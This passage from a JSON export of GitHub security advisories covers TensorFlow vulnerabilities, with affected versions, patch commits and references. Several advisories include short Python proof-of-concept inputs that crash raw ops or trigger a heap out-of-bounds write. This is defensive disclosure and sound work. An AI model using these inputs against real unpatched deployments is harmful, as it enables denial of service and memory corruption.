questions.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T23:27:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-8jj7-5vxc-pg2q","https://github.com/tensorflow/tensorflow/commit/0aaaae6eca5a7175a193696383f582f53adab23f","https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/costs/op_level_cost_estimator.cc#L2621-L2689","https://nvd.nist.gov/vuln/detail/CVE-2022-23587","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-96.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-151.yaml","https://github.com/advisories/GHSA-8jj7-5vxc-pg2q"],"source_kind":"github","identifiers":["GHSA-8jj7-5vxc-pg2q","CVE-2022-23587"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:36.648Z","updated_at":"2024-11-07T22:30:04.000Z","epss_percentage":0.00295,"epss_percentile":0.52462},{"uuid":"GSA_kwCzR0hTQS1nZjk3LXE3Mm0tNzU3Oc4AAyT2","url":"https://github.com/advisories/GHSA-gf97-q72m-7579","title":"TensorFlow has Null Pointer Error in RandomShuffle with XLA enable ","description":"### Impact\nNPE in RandomShuffle with XLA enable \n```python\nimport tensorflow as tf\n\nfunc = tf.raw_ops.RandomShuffle\npara = {'value': 1e+20, 'seed': -4294967297, 'seed2': -2147483649}\n\n@tf.function(jit_compile=True)\ndef test():\n   y = func(**para)\n   return y\n\ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [728113a3be690facad6ce436660a0bc1858017fa](https://github.com/tensorflow/tensorflow/commit/728113a3be690facad6ce436660a0bc1858017fa).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by r3pwnx\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:54:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gf97-q72m-7579","https://github.com/tensorflow/tensorflow/commit/728113a3be690facad6ce436660a0bc1858017fa","https://nvd.nist.gov/vuln/detail/CVE-2023-25674","https://github.com/advisories/GHSA-gf97-q72m-7579"],"source_kind":"github","identifiers":["GHSA-gf97-q72m-7579","CVE-2023-25674"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.294Z","updated_at":"2023-03-30T22:19:30.000Z","epss_percentage":0.00187,"epss_percentile":0.41164},{"uuid":"GSA_kwCzR0hTQS01dzk2LTg2NmYtNnJtOM4AAyTy","url":"https://github.com/advisories/GHSA-5w96-866f-6rm8","title":"TensorFlow has Floating Point Exception in TFLite in conv kernel","description":"### Impact\nConstructing a tflite model with a paramater `filter_input_channel` of less than 1 gives a FPE.\n\n\n### Patches\nWe have patched the issue in GitHub commit [34f8368c535253f5c9cb3a303297743b62442aaa](https://github.com/tensorflow/tensorflow/commit/34f8368c535253f5c9cb3a303297743b62442aaa).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability was reported by Wang Xuan of Qihoo 360 AIVul Team.\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:53:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-5w96-866f-6rm8","https://github.com/tensorflow/tensorflow/commit/34f8368c535253f5c9cb3a303297743b62442aaa","https://nvd.nist.gov/vuln/detail/CVE-2023-27579","https://github.com/advisories/GHSA-5w96-866f-6rm8"],"source_kind":"github","identifiers":["GHSA-5w96-866f-6rm8","CVE-2023-27579"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.346Z","updated_at":"2023-03-30T22:23:37.000Z","epss_percentage":0.00134,"epss_percentile":0.34153},{"uuid":"GSA_kwCzR0hTQS1oNWc0LXBwd3gtNDhxMs4AArBG","url":"https://github.com/advisories/GHSA-h5g4-ppwx-48q2","title":"Missing validation causes denial of service via `DeleteSessionTensor`","description":"### Impact\nThe implementation of [`tf.raw_ops.DeleteSessionTensor`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/session_ops.cc#L128-L144) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack:\n\n```python\nimport tensorflow as tf\n\nhandle = tf.constant(\"[]\", shape=[0], dtype=tf.string)\ntf.raw_ops.DeleteSessionTensor(handle=handle)\n```\n  \nThe code assumes `handle` is a scalar but there is no validation for this:\n  \n```cc\n    const Tensor\u0026 handle = ctx-\u003einput(0);\n    const string\u0026 name = handle.scalar\u003ctstring\u003e()();\n```\n\n### Patches\nWe have patched the issue in GitHub commit [cff267650c6a1b266e4b4500f69fbc49cdd773c5](https://github.com/tensorflow/tensorflow/commit/cff267650c6a1b266e4b4500f69fbc49cdd773c5).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:06:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h5g4-ppwx-48q2","https://nvd.nist.gov/vuln/detail/CVE-2022-29194","https://github.com/tensorflow/tensorflow/commit/cff267650c6a1b266e4b4500f69fbc49cdd773c5","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/session_ops.cc#L128-L144","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-h5g4-ppwx-48q2"],"source_kind":"github","identifiers":["GHSA-h5g4-ppwx-48q2","CVE-2022-29194"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.806Z","updated_at":"2023-01-27T05:02:16.000Z","epss_percentage":0.00072,"epss_percentile":0.22498},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNtZ3ctOHZwYy1yYzU5","url":"https://github.com/advisories/GHSA-cmgw-8vpc-rc59","title":"Segfault on strings tensors with mistmatched dimensions, due to Go code","description":"### Impact\nUnder certain conditions, Go code can trigger a segfault in string deallocation.\n\n\nFor string tensors, `C.TF_TString_Dealloc` is called during garbage collection within a finalizer function.  However, tensor structure isn't checked until encoding to avoid a performance penalty.  The current method for dealloc assumes that encoding succeeded, but segfaults when a string tensor is garbage collected whose encoding failed (e.g., due to mismatched dimensions).\n\nTo fix this, the call to set the finalizer function is deferred until `NewTensor` returns and, if encoding failed for a string tensor, deallocs are determined based on bytes written.\n\n### Patches\nWe have patched the issue in GitHub commit [8721ba96e5760c229217b594f6d2ba332beedf22](https://github.com/tensorflow/tensorflow/commit/8721ba96e5760c229217b594f6d2ba332beedf22) (merging [#50508](https://github.com/tensorflow/tensorflow/pull/50508)).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, which is the other affected version.                                                                                                                                               \n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [fixing PR](https://github.com/tensorflow/tensorflow/pull/50508).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-08-25T14:38:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cmgw-8vpc-rc59","https://nvd.nist.gov/vuln/detail/CVE-2021-37692","https://github.com/tensorflow/tensorflow/pull/50508","https://github.com/tensorflow/tensorflow/commit/8721ba96e5760c229217b594f6d2ba332beedf22","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-605.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-803.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-314.yaml","https://github.com/advisories/GHSA-cmgw-8vpc-rc59"],"source_kind":"github","identifiers":["GHSA-cmgw-8vpc-rc59","CVE-2021-37692"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.100981977951726,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"\u003e= 2.5.0rc0, \u003c 2.5.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"\u003e= 2.5.0rc0, \u003c 2.5.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"\u003e= 2.5.0rc0, \u003c 2.5.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.110Z","updated_at":"2024-11-13T21:27:22.000Z","epss_percentage":0.00032,"epss_percentile":0.07468},{"uuid":"GSA_kwCzR0hTQS01N3d4LW05ODMtMmY4OM0XCw","url":"https://github.com/advisories/GHSA-57wx-m983-2f88","title":"Incomplete validation in boosted trees code","description":"### Impact\nThe [code for boosted trees in TensorFlow](https://github.com/tensorflow/tensorflow/blob/e0b6e58c328059829c3eb968136f17aa72b6c876/tensorflow/core/kernels/boosted_trees/stats_ops.cc) is still missing validation. As a result, attackers can trigger denial of service (via dereferencing `nullptr`s or via `CHECK`-failures) as well as abuse undefined behavior (binding references to `nullptr`s). An attacker can also read and write from heap buffers, depending on the API that gets used and the arguments that are passed to the call.\n\n**Note**: Given that the boosted trees implementation in TensorFlow is unmaintained, it is recommend to no longer use these APIs.  Instead, please use the downstream [TensorFlow Decision Forests](https://github.com/tensorflow/decision-forests) project which is newer and supports more features. We will deprecate TensorFlow's boosted trees APIs in subsequent releases.\n\n### Patches\nWe have patched the issue in GitHub commit [5c8c9a8bfe750f9743d0c859bae112060b216f5c](https://github.com/tensorflow/tensorflow/commit/5c8c9a8bfe750f9743d0c859bae112060b216f5c).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2021-11-10T19:37:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-57wx-m983-2f88","https://nvd.nist.gov/vuln/detail/CVE-2021-41208","https://github.com/tensorflow/tensorflow/commit/5c8c9a8bfe750f9743d0c859bae112060b216f5c","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-617.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-815.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-400.yaml","https://github.com/advisories/GHSA-57wx-m983-2f88"],"source_kind":"github","identifiers":["GHSA-57wx-m983-2f88","CVE-2021-41208"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.376Z","updated_at":"2024-11-07T22:20:18.000Z","epss_percentage":0.00012,"epss_percentile":0.00845},{"uuid":"GSA_kwCzR0hTQS14M3Y4LWM4cXgtM2ozcs0XBA","url":"https://github.com/advisories/GHSA-x3v8-c8qx-3j3r","title":"Null pointer exception in `DeserializeSparse`","description":"### Impact\nThe [shape inference code for `DeserializeSparse`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/sparse_ops.cc#L152-L168) can trigger a null pointer dereference:\n\n```python\nimport tensorflow as tf\n\ndataset = tf.data.Dataset.range(3)\n  \n@tf.function                 \ndef test():                  \n  y = tf.raw_ops.DeserializeSparse(\n    serialized_sparse=tf.data.experimental.to_variant(dataset),\n    dtype=tf.int32)\n\ntest()\n```\n\nThis is because the shape inference function assumes that the `serialize_sparse` tensor is a tensor with positive rank (and having `3` as the last dimension).  However, in the example above, the argument is a scalar (i.e., rank 0).\n\n### Patches\nWe have patched the issue in GitHub commit [d3738dd70f1c9ceb547258cbb82d853da8771850](https://github.com/tensorflow/tensorflow/commit/d3738dd70f1c9ceb547258cbb82d853da8771850).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-10T18:57:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x3v8-c8qx-3j3r","https://nvd.nist.gov/vuln/detail/CVE-2021-41215","https://github.com/tensorflow/tensorflow/commit/d3738dd70f1c9ceb547258cbb82d853da8771850","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-624.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-822.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-407.yaml","https://github.com/advisories/GHSA-x3v8-c8qx-3j3r"],"source_kind":"github","identifiers":["GHSA-x3v8-c8qx-3j3r","CVE-2021-41215"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.456Z","updated_at":"2024-11-07T22:16:48.000Z","epss_percentage":0.00017,"epss_percentile":0.02794},{"uuid":"GSA_kwCzR0hTQS0zNzRtLWptNjYtM3ZqOM0W-Q","url":"https://github.com/advisories/GHSA-374m-jm66-3vj8","title":"Heap OOB in `SparseBinCount`","description":"### Impact\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/bincount_op.cc#L353-L417) of `SparseBinCount` is vulnerable to a heap OOB:\n\n```python\nimport tensorflow as tf\n  \n  \ntf.raw_ops.SparseBincount(\n  indices=[[0],[1],[2]]\n  values=[0,-10000000]\n  dense_shape=[1,1]\n  size=[1]\n  weights=[3,2,1]\n  binary_output=False)\n```\n\nThis is because of missing validation between the elements of the `values` argument and the shape of the sparse output:\n\n\n```cc\nfor (int64_t i = 0; i \u003c indices_mat.dimension(0); ++i) {\n  const int64_t batch = indices_mat(i, 0);\n  const Tidx bin = values(i);\n  ...\n  out(batch, bin) = ...;\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f410212e373eb2aec4c9e60bf3702eba99a38aba](https://github.com/tensorflow/tensorflow/commit/f410212e373eb2aec4c9e60bf3702eba99a38aba).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-10T18:41:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-374m-jm66-3vj8","https://nvd.nist.gov/vuln/detail/CVE-2021-41226","https://github.com/tensorflow/tensorflow/commit/f410212e373eb2aec4c9e60bf3702eba99a38aba","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-635.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-833.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-418.yaml","https://github.com/advisories/GHSA-374m-jm66-3vj8"],"source_kind":"github","identifiers":["GHSA-374m-jm66-3vj8","CVE-2021-41226"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.58776112468632,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.569Z","updated_at":"2024-11-13T22:05:34.000Z","epss_percentage":0.00018,"epss_percentile":0.02599},{"uuid":"GSA_kwCzR0hTQS1wcWhtLTR3dmYtMmpnOM4AArBN","url":"https://github.com/advisories/GHSA-pqhm-4wvf-2jg8","title":"Missing validation results in undefined behavior in `QuantizedConv2D`","description":"### Impact\nThe implementation of [`tf.raw_ops.QuantizedConv2D`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantized_conv_ops.cc) does not fully validate the input arguments:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant(1, shape=[1, 2, 3, 3], dtype=tf.quint8)\nfilter = tf.constant(1, shape=[1, 2, 3, 3], dtype=tf.quint8)\n\n# bad args\nmin_input = tf.constant([], shape=[0], dtype=tf.float32)\nmax_input = tf.constant(0, shape=[], dtype=tf.float32)\nmin_filter = tf.constant(0, shape=[], dtype=tf.float32)\nmax_filter = tf.constant(0, shape=[], dtype=tf.float32)\n\ntf.raw_ops.QuantizedConv2D(\n  input=input,\n  filter=filter,\n  min_input=min_input,\n  max_input=max_input,\n  min_filter=min_filter,\n  max_filter=max_filter, \n  strides=[1, 1, 1, 1],\n  padding=\"SAME\")\n```\n\nIn this case, references get bound to `nullptr` for each argument that is empty (in the example, all arguments in the `bad args` section).\n\n### Patches\nWe have patched the issue in GitHub commit [0f0b080ecde4d3dfec158d6f60da34d5e31693c4](https://github.com/tensorflow/tensorflow/commit/0f0b080ecde4d3dfec158d6f60da34d5e31693c4).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:10:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-pqhm-4wvf-2jg8","https://nvd.nist.gov/vuln/detail/CVE-2022-29201","https://github.com/tensorflow/tensorflow/commit/0f0b080ecde4d3dfec158d6f60da34d5e31693c4","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantized_conv_ops.cc","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-pqhm-4wvf-2jg8"],"source_kind":"github","identifiers":["GHSA-pqhm-4wvf-2jg8","CVE-2022-29201"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.740Z","updated_at":"2023-01-27T05:02:06.000Z","epss_percentage":0.00044,"epss_percentile":0.12494},{"uuid":"GSA_kwCzR0hTQS0ycDlxLWgyOWotM2Y1ds4AAgd_","url":"https://github.com/advisories/GHSA-2p9q-h29j-3f5v","title":"Missing validation causes `TensorSummaryV2` to crash","description":"### Impact\nThe implementation of [`tf.raw_ops.TensorSummaryV2`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/summary_tensor_op.cc#L33-L58) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack:\n\n```python\nimport numpy as np\nimport tensorflow as tf\n\ntf.raw_ops.TensorSummaryV2(\n  tag=np.array('test'),\n  tensor=np.array(3),\n  serialized_summary_metadata=tf.io.encode_base64(np.empty((0))))\n```\n\nThe code assumes `axis` is a scalar but there is no validation for this.\n\n```cc\n    const Tensor\u0026 serialized_summary_metadata_tensor = c-\u003einput(2);\n    // ...\n    ParseFromTString(serialized_summary_metadata_tensor.scalar\u003ctstring\u003e()(),\n                     v-\u003emutable_metadata());\n``` \n\n### Patches\nWe have patched the issue in GitHub commit [290bb05c80c327ed74fae1d089f1001b1e2a4ef7](https://github.com/tensorflow/tensorflow/commit/290bb05c80c327ed74fae1d089f1001b1e2a4ef7).\n    \nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n    \n### For more information 